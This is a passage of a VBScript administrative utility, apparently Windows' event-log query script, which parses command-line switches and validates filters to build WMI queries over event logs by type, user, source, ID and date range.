CONST FLD_FILTER_TYPE = "Type"
CONST FLD_FILTER_USER = "User"
CONST FLD_FILTER_COMPUTER = "ComputerName"
CONST FLD_FILTER_SOURCE = "SourceName"
CONST FLD_FILTER_CATEGORY = "CategoryString"
CONST FLD_FILTER_ID = "EventCode"
CONST FLD_FILTER_EVENTTYPE = "EventType"
' Define matching patterns used in validations
CONST PATTERNFORMAT = "^(table|list|csv)$"
CONST PATTERNTYPE = "^(SUCCESS|ERROR|INFORMATION|WARNING|SUCCESSAUDIT|FAILUREAUDIT)$"
' Property values on which the user is given for the filter TYPE is applied
CONST PATTERNTYPE_ERROR = "ERROR"
CONST PATTERNTYPE_WARNING = "WARNING"
CONST PATTERNTYPE_INFORMATION = "INFORMATION"
CONST PATTERNTYPE_SUCCESSAUDIT = "SUCCESSAUDIT"
CONST PATTERNTYPE_FAILUREAUDIT = "FAILUREAUDIT"
CONST PATTERNTYPE_SUCCESS = "SUCCESS"
CONST FLDFILTERTYPE_SUCCESSAUDIT = "audit success"
CONST FLDFILTERTYPE_FAILUREAUDIT = "audit failure"
' Define EventType
CONST EVENTTYPE_SUCCESS = "0"
CONST EVENTTYPE_ERROR = "1"
CONST EVENTTYPE_WARNING = "2"
CONST EVENTTYPE_INFORMATION = "3"
CONST EVENTTYPE_SUCCESSAUDIT = "4"
CONST EVENTTYPE_FAILUREAUDIT = "5"
' the operator symbols
CONST SYMBOL_OPERATOR_EQ = "="
CONST SYMBOL_OPERATOR_NE = "<>"
CONST SYMBOL_OPERATOR_GE = ">="
CONST SYMBOL_OPERATOR_LE = "<="
CONST SYMBOL_OPERATOR_GT = ">"
CONST SYMBOL_OPERATOR_LT = "<"
' Define matching patterns used in validations
CONST PATTERN_RANGE = "^\d*-?\d+$"
CONST PATTERN_FILTER = "^([a-z]+)([\s]+)([a-z]+)([\s]+)([\w+]|[\W+]|\\)"
CONST PATTERN_DATETIME = "^\d{1,2}\/\d{1,2}\/\d{2,4},\d{1,2}:\d{1,2}:\d{1,2}(A|P)M$"
CONST PATTERN_INVALID_USER = "\|\[|\]|\:|\||\<|\>|\+|\=|\;|\,|\?|\*"
CONST PATTERN_ID = "^(\d+)$"
CONST PATTERN_DATETIME_RANGE = "^\d{1,2}\/\d{1,2}\/\d{2,4},\d{1,2}:\d{1,2}:\d{1,2}(A|P)M\-\d{1,2}\/\d{1,2}\/\d{2,4},\d{1,2}:\d{1,2}:\d{1,2}(A|P)M$"
' Define UNC format for server name
CONST UNC_Format_Servername = "\\"
' Define const for filter separation when OR or ANDis specified in filter
CONST L_OperatorOR_Text = " OR "
CONST L_OperatorAND_Text = " AND "
' Variable to trap local if already connection in wmiconnect function
Dim blnLocalConnection
blnLocalConnection = False 'defalut value
' to include the common module
Dim component ' object to store common module
Set component = CreateObject( "Microsoft.CmdLib" )
If Err.Number Then
WScript.Echo(L_InfoUnableToInclude_ErrorMessage)
WScript.Quit(EXIT_METHOD_FAIL)
End If
' referring the script host to common module
Set component.ScriptingHost = WScript.Application
' Check whether the script is run using CScript
If CInt( component.checkScript() ) <> CONST_CSCRIPT Then
UseCscriptErrorMessage = L_UseCscript1_ErrorMessage & vbCRLF & _
ExpandEnvironmentString(L_UseCscript2E_ErrorMessage) & vbCRLF & vbCRLF & _
L_UseCscript3_ErrorMessage & vbCRLF & _
L_UseCscript4_ErrorMessage & vbCRLF & vbCRLF & _
ExpandEnvironmentString(L_UseCscript5E_ErrorMessage)
WScript.Echo (UseCscriptErrorMessage)
WScript.Quit(EXIT_UNEXPECTED)
End If
' Calling the Main function
Call VBMain()
' end of the Main
Wscript.Quit(EXIT_SUCCESS)
'********************************************************************
'* Sub: VBMain
'*
'* Purpose: This is main function that starts execution
'*
'*
'* Input/ Output: None
'********************************************************************
Sub VBMain()
ON ERROR RESUME NEXT
Err.clear
' Declare variables
Dim intOpCode ' to check the operation asked for, Eg:Help /?, etc
Dim strMachine ' the machine to query the events from
Dim strUserName ' the user name to use to query the machine
Dim strPassword ' the password for the user to query the machine
Dim strFormat ' format of display, default is table
Dim strRange ' to store the range of records specified
Dim blnNoHeader ' flag to store if header is not required
Dim blnVerboseDisplay ' flag to verify if verbose display is needed
ReDim arrFilters(5) ' to store all the given filters
Dim objLogs ' a object to store all the given logfles
' Initialize variables
intOpCode = 0
strFormat = ConstDefaultFormat_Text
strRange = ""
blnNoHeader = FALSE
blnVerboseDisplay = FALSE
' create the collection object
Set objLogs = CreateObject("Scripting.Dictionary")
If Err.Number Then
component.vbPrintf L_ComponentNotFound_ErrorMessage, Array("Scripting.Dictionary")
WScript.Quit(EXIT_METHOD_FAIL)
End If
' setting Dictionary object compare mode to VBBinaryCompare
objLogs.CompareMode = VBBinaryCompare
' Parse the command line
intOpCode = intParseCmdLine(strMachine, _
strUserName, _
strPassword, _
arrFilters, _
strFormat, _
strRange, _
blnVerboseDisplay, _
blnNoHeader, _
objLogs)
If Err.number then
' error in parsing the Command line
component.vbPrintf InvalidInputErrorMessage ,Array(Ucase(Wscript.ScriptName))
WScript.Quit(EXIT_UNEXPECTED)
End If
' check the operation specified by the user
Select Case intOpCode
Case CONST_SHOW_USAGE
' help asked for
Call ShowUsage()
Case CONST_PROCEED
Call ShowEvents(strMachine, strUserName, strPassword, _
arrFilters, strFormat, strRange, _
blnVerboseDisplay, blnNoHeader, objLogs)
' completed successfully
WScript.Quit(EXIT_SUCCESS)
Case CONST_ERROR
' print common help message.
component.vbPrintf L_HelpSyntax1_Message, Array(Ucase(Wscript.ScriptName))
Wscript.Quit(EXIT_INVALID_INPUT)
Case CONST_ERROR_USAGE
' help is asked for help with some other parameters
component.vbPrintf InvalidSyntaxErrorMessage, Array(Ucase(Wscript.ScriptName))
WScript.Quit(EXIT_INVALID_INPUT)
Case EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
'Option repeated, input values specified. Message displayed by the parser so just exit with error code.
Wscript.Quit(EXIT_INVALID_PARAM)
Case Else
'Invalid input values specified.
component.vbPrintf InvalidSyntaxErrorMessage, Array(Ucase(Wscript.ScriptName))
Wscript.Quit(EXIT_INVALID_PARAM)
End Select
End Sub
'*************************** End of Main **************************
'********************************************************************
'* Function: intParseCmdLine
'*
'* Purpose: Parses the command line arguments to the variables
'*
'* Input:
'* [out] strMachine machine to query events from
'* [out] strUserName user name to connect to the machine
'* [out] strPassword <PASSWORD>
'* [out] arrFilters the array containing the filters
'* [out] strFormat the display format
'* [out] strRange the range of records required
'* [out] blnVerboseDisplay flag to verify if verbose display is needed
'* [out] blnNoHeader flag to verify if noheader display is needed
'* [out] objLogs to store all the given logfles
'* Output: Returns CONST_PROCEED, CONST_SHOW_USAGE or CONST_ERROR
'* Displays error message and quits if invalid option is asked
'*
'********************************************************************
Private Function intParseCmdLine( ByRef strMachine, _
ByRef strUserName, _
ByRef strPassword, _
ByRef arrFilters, _
ByRef strFormat, _
ByRef strRange, _
ByRef blnVerboseDisplay, _
ByRef blnNoHeader,_
ByRef objLogs)
ON ERROR RESUME NEXT
Err.Clear
Dim strUserGivenArg ' to temporarily store the user given arguments to script
Dim strTemp ' to store temporary values
Dim intArgIter ' to count the number of arguments given by user
Dim intArgLogType ' to count number of log files specified - Used in ReDim
Dim intFilterCount ' to count number of filters specified - Used in ReDim
Dim blnHelp ' to check if already Help is specified
Dim blnFormat ' to check if already Format is specified
Dim blnRange ' to check if already Range is specified
Dim blnServer ' to check if already Server is specified
Dim blnPassword ' to check if already Password is specified
Dim blnUser ' to check if already User is specified
strUserGivenArg = ""
intArgLogType = 0
intFilterCount = 0
intArgIter = 0
'default values
blnHelp = False
blnPassword = False
blnUser = False
blnServer = False
blnFormat = False
' Retrieve the command line and set appropriate variables
Do While intArgIter <= Wscript.arguments.Count - 1
strUserGivenArg = Wscript.arguments.Item(intArgIter)
IF Left( strUserGivenArg,1) = "/" OR Left( strUserGivenArg,1) = "-" Then
strUserGivenArg = Right( strUserGivenArg,Len(strUserGivenArg) -1 )
Select Case LCase(strUserGivenArg)
Case LCase(OPTION_SERVER)
'If more than 1 time(s) is spcecified
If blnServer =True Then
component.vbPrintf InvalidSyntaxMoreNoRepeatedErrorMessage, Array(Wscript.arguments.Item(intArgIter), Ucase(Wscript.ScriptName))
intParseCmdLine = EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
Exit Function
End If
If Not component.getArguments(L_MachineName_Text, strMachine, intArgIter, FALSE) Then
intParseCmdLine = CONST_ERROR
Exit Function
End If
blnServer =True
intArgIter = intArgIter + 1
Case LCase(OPTION_USER)
'If more than 1 time(s) is spcecified
If blnUser =True Then
component.vbPrintf InvalidSyntaxMoreNoRepeatedErrorMessage, Array(Wscript.arguments.Item(intArgIter), Ucase(Wscript.ScriptName))
intParseCmdLine = EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
Exit Function
End If
If Not component.getArguments(L_UserName_Text, strUserName, intArgIter, FALSE) Then
intParseCmdLine = CONST_ERROR
Exit Function
End If
blnUser =True
intArgIter = intArgIter + 1
Case LCase(OPTION_PASSWORD)
'If more than 1 time(s) is spcecified
If blnPassword =True Then
component.vbPrintf InvalidSyntaxMoreNoRepeatedErrorMessage, Array(Wscript.arguments.Item(intArgIter), Ucase(Wscript.ScriptName))
intParseCmdLine = EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
Exit Function
End If
If Not component.getArguments(L_UserPassword_Text, strPassword, intArgIter, FALSE) Then
intParseCmdLine = CONST_ERROR
Exit Function
End If
blnPassword =True
intArgIter = intArgIter + 1
Case LCase(OPTION_FORMAT)
'If more than 1 time(s) is spcecified
If blnFormat =True Then
component.vbPrintf InvalidSyntaxMoreNoRepeatedErrorMessage, Array(Wscript.arguments.Item(intArgIter), Ucase(Wscript.ScriptName))
intParseCmdLine = EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
Exit Function
End If
If Not component.getArguments(L_Format_Text,strFormat, intArgIter, FALSE) Then
intParseCmdLine = CONST_ERROR
Exit Function
End If
blnFormat =True
intArgIter = intArgIter + 1
Case LCase(OPTION_RANGE)
'If more than 1 time(s) is spcecified
If blnRange =True Then
component.vbPrintf InvalidSyntaxMoreNoRepeatedErrorMessage, Array(Wscript.arguments.Item(intArgIter), Ucase(Wscript.ScriptName))
intParseCmdLine = EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
Exit Function
End If
If Not component.getArguments(L_Range_Text,strRange, intArgIter,TRUE) Then
intParseCmdLine = CONST_ERROR
Exit Function
End If
blnRange =True
intArgIter = intArgIter + 1
Case LCase(OPTION_NOHEADER)
'If more than 1 time(s) is spcecified
If blnNoHeader =True Then
component.vbPrintf InvalidSyntaxMoreNoRepeatedErrorMessage, Array(Wscript.arguments.Item(intArgIter), Ucase(Wscript.ScriptName))
intParseCmdLine = EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
Exit Function
End If
blnNoHeader = TRUE
intArgIter = intArgIter + 1
Case LCase(OPTION_VERBOSE)
'If more than 1 time(s) is spcecified
If blnVerboseDisplay =True Then
component.vbPrintf InvalidSyntaxMoreNoRepeatedErrorMessage, Array(Wscript.arguments.Item(intArgIter), Ucase(Wscript.ScriptName))
intParseCmdLine = EXIT_INVALID_PARAM_DEFAULT_OPTION_REPEATED
Exit Function
End If
blnVerboseDisplay = TRUE
intArgIter = intArgIter + 1
Case LCase(OPTION_FILTER)
If Not component.getArguments(L_Filter_Text, strTemp, intArgIter, FALSE) Then
intParseCmdLine = CONST_ERROR
Exit Function
End If
arrFilters(intFilterCount) = strTemp
intFilterCount = intFilterCount + 1
intArgIter = intArgIter + 1
If ((intFilterCount MOD 5) = 0) Then
ReDim PRESERVE arrFilters(intFilterCount + 5)
End If
Case LCase(OPTION_HELP)
If blnHelp =True then
intParseCmdLine = EXIT_INVALID_PARAM
Exit Function
End If
blnHelp =True
intParseCmdLine = CONST_SHOW_USAGE
intArgIter = intArgIter + 1
Case LCase(OPTION_LOGNAME)
If Not component.getArguments(L_Log_Text, strTemp, intArgIter, FALSE) Then
intParseCmdLine = CONST_ERROR
Exit Function
Else
If NOT objLogs.Exists(LCase(strTemp)) Then
objLogs.Add LCase(strTemp), -1
End If
intArgIter = intArgIter + 1
End if
Case Else
' invalid switch specified
component.vbPrintf InvalidParameterErrorMessage, Array(Wscript.arguments.Item(intArgIter),Ucase(Wscript.ScriptName))
Wscript.Quit(EXIT_INVALID_INPUT)
End Select
Else
' invalid argument specified
component.vbPrintf InvalidParameterErrorMessage, Array(Wscript.arguments.Item(intArgIter),Ucase(Wscript.ScriptName))
Wscript.Quit(EXIT_INVALID_INPUT)
End IF
Loop '** intArgIter <= Wscript.arguments.Count - 1
' preserving the array with current dimension
ReDim PRESERVE arrFilters(intFilterCount-1)
' if no logs specified for query
If (ObjLogs.Count = 0 ) Then
ObjLogs.Add "*", -1
End If
' check for invalid usage of help
If blnHelp and intArgIter > 1 Then
intParseCmdLine = CONST_ERROR_USAGE
Exit Function
End If
'check with default case : no arguments specified
If IsEmpty(intParseCmdLine) Then
intParseCmdLine = CONST_PROCEED
End If
End Function
'********************************************************************
'* Function: ValidateArguments
'*
'* Purpose: Validates the command line arguments given by the user
'*
'* Input:
'* [in] strMachine machine to query events from
'* [in] strUserName user name to connect to the machine
'* [in] strPassword <PASSWORD>
'* [in] strFormat the display format
'* [in] strRange the range of records required
'* [in] blnNoHeader flag to verify if noheader display is needed
'* [out] arrFilters the array containing the filters
'*
'* Output: Returns true if all valid else displays error message and quits
'* Gets the password from the user if not specified along with User.
'*
'********************************************************************
Private Function ValidateArguments (ByVal strMachine, _
ByVal strUserName, _
ByVal strPassword, _
ByRef arrFilters, _
ByVal strFormat, _
ByVal strRange,_
ByVal blnNoHeader)
ON ERROR RESUME NEXT
Err.Clear
Dim arrTemp ' to store temporary array values
' Check if invalid Server name is given
If NOT ISEMPTY(strMachine) THEN
If Trim(strMachine) = vbNullString Then
WScript.Echo (L_InValidServerName_ErrorMessage)
WScript.Quit(EXIT_INVALID_INPUT)
End If
End If
'Check if invalid User name is given
If NOT ISEMPTY(strUserName) THEN
If Trim(strUserName) = vbNullString Then
WScript.Echo (L_InValidUserName_ErrorMessage )
WScript.Quit(EXIT_INVALID_INPUT)
End If
End If
' ERROR if user is given without machine OR
' password is given without user
If ((strUserName <> VBEmpty) AND (strMachine = VBEmpty)) Then
component.vbPrintf InvalidCredentialsForServerErrorMessage, Array(Ucase(Wscript.ScriptName))
WScript.Quit(EXIT_INVALID_INPUT)
ElseIf ((strPassword <> VBEmpty) AND (strUserName = VBEmpty))Then
component.vbPrintf InvalidCredentialsForUserErrorMessage, Array(Ucase(Wscript.ScriptName))
WScript.Quit(EXIT_INVALID_INPUT)
End If
' only table, list and csv display formats allowed
' PATTERNFORMAT '"^(table|list|csv)$"
If CInt(component.matchPattern(PATTERNFORMAT,strFormat)) = CONST_NO_MATCHES_FOUND Then
component.vbPrintf InvalidFormatErrormessage, Array(strFormat ,Ucase(Wscript.ScriptName))
WScript.Quit(EXIT_INVALID_INPUT)
End If
' check : -n header is specified for format of 'LIST' option
If blnNoHeader =True and Lcase(strFormat) = Lcase(Const_List_Format_Text) then
WScript.Echo (L_NoHeaderaNotApplicable_ErrorMessage)
WScript.Quit(EXIT_INVALID_INPUT)
End If
If Len(Trim(strRange)) > 0 Then
' range is specified, valid formats are N, -N or N1-N2
' PATTERN_RANGE '"^(\d+|\-\d+|\d+\-\d+)$"
If CInt(component.matchPattern(PATTERN_RANGE, strRange)) = CONST_NO_MATCHES_FOUND Then
component.vbPrintf L_InvalidRange_ErrorMessage, Array(strRange)
WScript.Quit(EXIT_INVALID_INPUT)
Else
strRange = CLng(Abs(strRange))
'this err an be trappped when N1-N2 option is given
If Err.Number Then
arrTemp = split(strRange, "-", 2, VBBinaryCompare)
If CLng(arrTemp(0)) => CLng(arrTemp(1)) Then
' invalid range
component.vbPrintf L_InvalidRange_ErrorMessage, Array(strRange)
WScript.Quit(EXIT_INVALID_INPUT)
End If
Err.Clear 'if no invalid range N1-N2 clear the error
Else
If Abs(strRange) = 0 Then
component.vbPrintf L_InvalidRange_ErrorMessage, Array(strRange)
WScript.Quit(EXIT_INVALID_INPUT)
End If
End If
End If
End If
ValidateArguments = TRUE
End Function
'********************************************************************
'* Function: ValidateFilters
'*
'* Purpose: Validates the filters given by the user.
'*
'* Input: [in] Objservice the WMI service object
'* Input: [out] arrFilters the array containing the filters
'*
'* Output: If filter is invalid, displays error message and quits
'* If valid, filter is prepared for the query and returns true
'*
'********************************************************************
Private Function ValidateFilters(ByRef arrFilters ,ByVal ObjService)
ON ERROR RESUME NEXT
Err.Clear
Dim j ' to use in the loop
Dim strFilter ' to store the user given filter (Eg:"Type eq Error")
Dim arrTempProp ' to store the temporary array filterproperty
Dim arrTempOperAndVal ' to store the temporary array filteroperator and filtervalue
Dim strTemp ' to store temporary values
Dim arrTemp ' to store temporary values of datetime when Range is given (Date1-Date2)
Dim strFilterProperty ' the filter criteria that is specified (Eg:Type, ID)
Dim strFilterOperation ' the operation specified (Eg: eq, gt)
Dim strFilterValue ' the filter value specified
Dim objInstance ' to refer to the instances of the objEnumerator
Dim objEnumerator ' to store the results of the query is executed
Dim strTempQuery ' string to make query
Dim strTimeZone ' to store the TimeZone of the Queried system
Dim strSign ' to store "+|-" sign value of TimeZone
' validate each filter stored in the array
For j = 0 to UBound(arrFilters)
strFilter = arrFilters(j)
'check eigther "OR or AND" is present inthe filter value
'Example : "type eq warning " OR " type eq error" [to support (OR + AND) ing in Filter Switch]
'Make a flag in this case "OR or AND" is present/not
'split it by "OR or AND " SEND as No. of Array elements
Dim blnOR 'boolean to refer 'OR' operation is specified
Dim blnAND 'boolean to refer 'AND' operation is specified
Dim strArrFilter 'string to store array of filters if OR or AND is specified
blnOR =False 'Initialise to False
blnAND=False 'Initialise to False
If UBOUND(Split(LCase(strFilter),LCase(L_OperatorOR_Text)) ) > 0 Then
' Check if filter have more no of OR with any AND Option(s)
If UBOUND(Split(LCase(strFilter),LCase(L_OperatorOR_Text)) ) > 1 Or _
UBOUND(Split(LCase(strFilter),LCase(L_OperatorAND_Text)) ) >0 Then
component.vbPrintf L_InvalidFilterFormat_ErrorMessage, Array(strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
'setting the flag if " OR " specified in filter
blnOR =TRUE
'split with "OR"
strArrFilter = Split(LCase(strFilter),LCase(L_OperatorOR_Text))
ElseIf UBOUND(Split(LCase(strFilter),LCase(L_OperatorAND_Text)) ) > 0 Then
' Check if filter have more no of AND with OR Option(s)
If UBOUND(Split(LCase(strFilter),LCase(L_OperatorAND_Text)) ) > 1 Or _
UBOUND(Split(LCase(strFilter),LCase(L_OperatorOR_Text)) ) > 0 Then
component.vbPrintf L_InvalidFilterFormat_ErrorMessage, Array(strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
'setting the flag if " AND " specified in filter
blnAND =TRUE
'split with "AND"
strArrFilter = Split(LCase(strFilter),LCase(L_OperatorAND_Text))
Else
'make single dimension array UBOUND = 0
strArrFilter = Array(strFilter)
End If
Dim k ' to use in the loop
Dim strTempFilter ' used to format Query string
'process the array for validatation
'UBOUND = 0 say normal filter specified
For k = 0 to UBound(strArrFilter)
If UBound(strArrFilter) > 0 then
strFilter =strArrFilter(k)
Else
'this is the first element allways
strFilter =strArrFilter(0)
End If
' check if 3 parameters are passed as input to filter
' PATTERN_FILTER "^([a-z]+)([\s]+)([a-z]+)([\s]+)(\w+)"
strFilter = Trim( strFilter ) ' trim the value
If CInt(component.matchPattern(PATTERN_FILTER, strFilter)) <= 0 Then
component.vbPrintf L_InvalidFilterFormat_ErrorMessage, Array(strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
' This is to eliminate any no.of blank Char(s) between three valid input values
' i.e..filter "property ---operation ----value"
' first SPLIT the space delimiter string into array size of 2.
' and get the property value
arrTempProp = split(Trim(strFilter)," ",2,VBBinaryCompare)
strFilterProperty = arrTempProp(0)
' now trim it and again SPLIT the second element of arrTempProp into an array of size 2.
' and get the operation and value
arrTempOperAndVal = split(Trim(arrTempProp(1))," ",2,VBBinaryCompare)
strFilterOperation = arrTempOperAndVal(0)
strFilterValue = Ltrim(arrTempOperAndVal(1))
If LCase(strFilterProperty) = LCase(L_UserFilterDateTime_Text) OR _
LCase(strFilterProperty) = LCase(L_UserFilterId_Text) Then
' the following are valid operators
If LCase(strFilterOperation) = LCase(L_OperatorEq_Text) OR _
LCase(strFilterOperation) = LCase(L_OperatorNe_Text) OR _
LCase(strFilterOperation) = LCase(L_OperatorGe_Text) OR _
LCase(strFilterOperation) = LCase(L_OperatorLe_Text) OR _
LCase(strFilterOperation) = LCase(L_OperatorGt_Text) OR _
LCase(strFilterOperation) = LCase(L_OperatorLt_Text) Then
strTemp = ReplaceOperators(strFilterOperation)
strFilterOperation = strTemp
Else
component.vbPrintf L_InvalidFilterOperation_ErrorMessage, Array(strFilterOperation, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
ElseIf LCase(strFilterProperty) = LCase(L_UserFilterType_Text) OR _
LCase(strFilterProperty) = LCase(L_UserFilterUser_Text) OR _
LCase(strFilterProperty) = LCase(L_UserFilterComputer_Text) OR _
LCase(strFilterProperty) = LCase(L_UserFilterSource_Text) OR _
LCase(strFilterProperty) = LCase(L_UserFilterDateCategory_Text) Then
' for others, only these two operators are valid
If LCase(strFilterOperation) = LCase(L_OperatorEq_Text) OR _
LCase(strFilterOperation) = LCase(L_OperatorNe_Text) Then
strTemp = ReplaceOperators(strFilterOperation)
strFilterOperation = strTemp
Else
component.vbPrintf L_InvalidFilterOperation_ErrorMessage, _
Array(strFilterOperation, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
Else
component.vbPrintf L_InvalidFilterOperation_ErrorMessage, _
Array(strFilterProperty, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
' validate the filter asked for
Select Case LCase(strFilterProperty)
Case L_UserFilterDateTime_Text
'Checking " OR " is only supported property EQ "TYPE OR ID" only
If blnOR = True then
WScript.Echo InvalidORSyntaxInFilterErrorMessage
WScript.Quit(EXIT_INVALID_INPUT)
End If
' Here To find Time Zone of system from CLASS_TIMEZONE_FILE
strTempQuery = "SELECT * FROM Win32_OperatingSystem "
Set objEnumerator = objService.ExecQuery(strTempQuery,,0)
' getting the Time Zone
For each objInstance in objEnumerator
strTimeZone = objInstance.CurrentTimeZone
Next
'here to format timeZome value as '+/-' UUU
If Isnull(strTimeZone) or IsEmpty(strTimeZone)then
strTimeZone =0
End If
'default sign
strSign ="+"
IF strTimeZone < 0 THEN
strSign ="-"
End If
If Len(strTimeZone) < 4 then
If Len(strTimeZone) = 3 then
If strTimeZone < 0 then
strTimeZone = Replace(strTimeZone,"-","0")
End If
ElseIf Len(strTimeZone) = 2 then
If strTimeZone < 0 then
strTimeZone = Replace(strTimeZone,"-","00")
Else
strTimeZone = "0" & strTimeZone
End If
ElseIf Len(strTimeZone) = 1 then
IF strTimeZone >= 0 Then
strTimeZone = "00" & strTimeZone
End if
End If
'return to a format as "+|-" & UUU
strTimeZone= strSign & strTimeZone
End If
' check for the valid format - MM/dd/yy,hh:mm:ssPM
' PATTERN_DATETIME
If CInt(component.matchPattern(PATTERN_DATETIME, strFilterValue)) > 0 Then
If component.validateDateTime(strFilterValue) Then
' a valid datetime filter. Prepare for query
strFilterProperty = FLD_FILTER_DATETIME
strTemp = component.changeToWMIDateTime(strFilterValue,strTimeZone)
' Format the input
' TimeGenerated > "07/25/2000 10:12:00 PM"
strFilterValue = Chr(34) & strTemp & Chr(34)
End If
Else
' match for range of dates in the format
' MM/dd/yy,hh:mm:ssPM - MM/dd/yy,hh:mm:ssAM
' PATTERN_DATETIME_RANGE
If CInt(component.matchPattern(PATTERN_DATETIME_RANGE, strFilterValue)) > 0 Then
strFilterProperty = FLD_FILTER_DATETIME
' Only = operation supported in this format
If strFilterOperation <> "=" Then
WScript.Echo (L_InvalidOperator_ErrorMessage)
WScript.Quit(EXIT_INVALID_INPUT)
End If
arrTemp = split(strFilterValue,"-",2,VBBinaryCompare)
If component.validateDateTime(arrTemp(0)) Then
' a valid datetime filter. Prepare for query
strTemp = component.changeToWMIDateTime(arrTemp(0),strTimeZone)
' Format the input
' TimeGenerated > "07/04/2002 10:12:00 PM"
strFilterOperation = ">="
strFilterValue = Chr(34) & strTemp & Chr(34)
If component.validateDateTime(arrTemp(1)) Then
' a valid datetime filter. Prepare for query
strTemp = component.changeToWMIDateTime(arrTemp(1),strTimeZone)
' Format the input
' TimeGenerated > "07/04/2002 10:12:00 PM"
strFilterValue = strFilterValue & _
" AND " & strFilterProperty & "<="& Chr(34)_
& strTemp & Chr(34)
End If
End If
Else
component.vbPrintf L_InvalidDateTimeFormat_ErrorMessage, Array(strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
End If
Case L_UserFilterType_Text
' the following values are only valid for the "Type" filter
' Valid: ERROR|INFORMATION|WARNING|SUCCESSAUDIT|FAILUREAUDIT
' PATTERNTYPE
If CInt(component.matchPattern(PATTERNTYPE, strFilterValue)) = _
CONST_NO_MATCHES_FOUND Then
component.vbPrintf L_InvalidType_ErrorMessage, Array(strFilterValue, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
Else
' here we need to check if running on WINXP or not
If ( IsWinXP ( ObjService) = TRUE ) Then
' a valid type filter. Prepare for query
If LCase(strFilterValue) =LCase(PATTERNTYPE_ERROR) Then
strFilterValue = EVENTTYPE_ERROR
ElseIf LCase(strFilterValue) =LCase(PATTERNTYPE_WARNING) Then
strFilterValue = EVENTTYPE_WARNING
ElseIf LCase(strFilterValue) =LCase(PATTERNTYPE_INFORMATION) Then
strFilterValue = EVENTTYPE_INFORMATION
ElseIf LCase(strFilterValue) =LCase(PATTERNTYPE_SUCCESSAUDIT) Then
strFilterValue = EVENTTYPE_SUCCESSAUDIT
ElseIf LCase(strFilterValue) =LCase(PATTERNTYPE_FAILUREAUDIT) Then
strFilterValue = EVENTTYPE_FAILUREAUDIT
ElseIf LCase(strFilterValue) =LCase(PATTERNTYPE_SUCCESS) Then
strFilterValue = EVENTTYPE_SUCCESS
End If
' a valid type filter. Prepare for query
strFilterProperty = FLD_FILTER_EVENTTYPE
Else
If LCase(strFilterValue) =LCase(PATTERNTYPE_SUCCESSAUDIT) Then
strFilterValue = FLDFILTERTYPE_SUCCESSAUDIT
ElseIf LCase(strFilterValue) =LCase(PATTERNTYPE_FAILUREAUDIT) Then
strFilterValue = FLDFILTERTYPE_FAILUREAUDIT
End If
' a valid type filter. Prepare for query
strFilterProperty = FLD_FILTER_TYPE
End If
End If
Case L_UserFilterUser_Text
'Checking " OR " is only supported property EQ "TYPE OR ID" only
If blnOR = True then
WScript.Echo InvalidORSyntaxInFilterErrorMessage
WScript.Quit(EXIT_INVALID_INPUT)
End If
' these are invalid characters for a user name
' PATTERN_INVALID_USER
If CInt(component.matchPattern(PATTERN_INVALID_USER, strFilterValue)) > 0 Then
component.vbPrintf L_InvalidUser_ErrorMessage , Array(strFilterValue, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
Else
' a valid user filter. Prepare for query
If InStr(1, strFilterValue, "\", VBBinaryCompare) Then
strFilterValue = Replace(strFilterValue, "\","\\")
End If
If LCase(strFilterValue) =LCase(L_TextNa_Text) Then
strFilterValue = Null
End If
End If
strFilterProperty = FLD_FILTER_USER
Case L_UserFilterComputer_Text
' a valid computer filter. Prepare for query
strFilterProperty = FLD_FILTER_COMPUTER
'Checking " OR " is only supported property EQ "TYPE OR ID" only
If blnOR = True then
WScript.Echo InvalidORSyntaxInFilterErrorMessage
WScript.Quit(EXIT_INVALID_INPUT)
End If
Case L_UserFilterSource_Text
' a valid Source filter. Prepare for query
strFilterProperty = FLD_FILTER_SOURCE
'Checking " OR " is only supported property EQ "TYPE OR ID" only
If blnOR = True then
WScript.Echo InvalidORSyntaxInFilterErrorMessage
WScript.Quit(EXIT_INVALID_INPUT)
End If
Case L_UserFilterDateCategory_Text
'Checking " OR " is only supported property EQ "TYPE OR ID" only
If blnOR = True then
WScript.Echo InvalidORSyntaxInFilterErrorMessage
WScript.Quit(EXIT_INVALID_INPUT)
End If
' a valid Category filter. Prepare for query
If LCase(strFilterValue) =LCase(L_TextNone_Text) Then
strFilterValue = Null
End If
strFilterProperty = FLD_FILTER_CATEGORY
Case L_UserFilterId_Text
' check if the given id is a number
' PATTERN_ID '"^(\d+)$"
If CInt(component.matchPattern(PATTERN_ID, strFilterValue)) = CONST_NO_MATCHES_FOUND Then
component.vbPrintf L_InvalidId_ErrorMessage, Array(strFilterValue, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
Else
' Invalid ID Number validation
If ( Clng(strFilterValue) > CONST_ID_NUMBER )Then
component.vbPrintf L_InvalidId_ErrorMessage, Array(strFilterValue, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End If
' a valid id filter. Prepare for query
strFilterProperty = FLD_FILTER_ID
End If
Case Else
' invalid filter specified
component.vbPrintf L_InvalidFilter_ErrorMessage, Array(strFilterProperty, strFilter)
WScript.Quit(EXIT_INVALID_INPUT)
End Select
If LCase(strFilterProperty) = LCase(FLD_FILTER_DATETIME) OR IsNull(strFilterValue) Then
' This is to handle NULL WMI property values i.e in category or type
If IsNull(strFilterValue) Then
strFilter = strFilterProperty & strFilterOperation & strFilterValue & "Null"
Else
strFilter = strFilterProperty & strFilterOperation & strFilterValue
End If
Else
strFilter = strFilterProperty & _
strFilterOperation & Chr(34) & strFilterValue & Chr(34)
End If
'Binding the string with "OR or AND " to Prepare for query if blnOR or blnAND is TRUE
If blnOR =TRUE Then
If k = 0 then
strTempFilter = strFilter
Else
strTempFilter = strTempFilter & " OR " & strFilter
End If
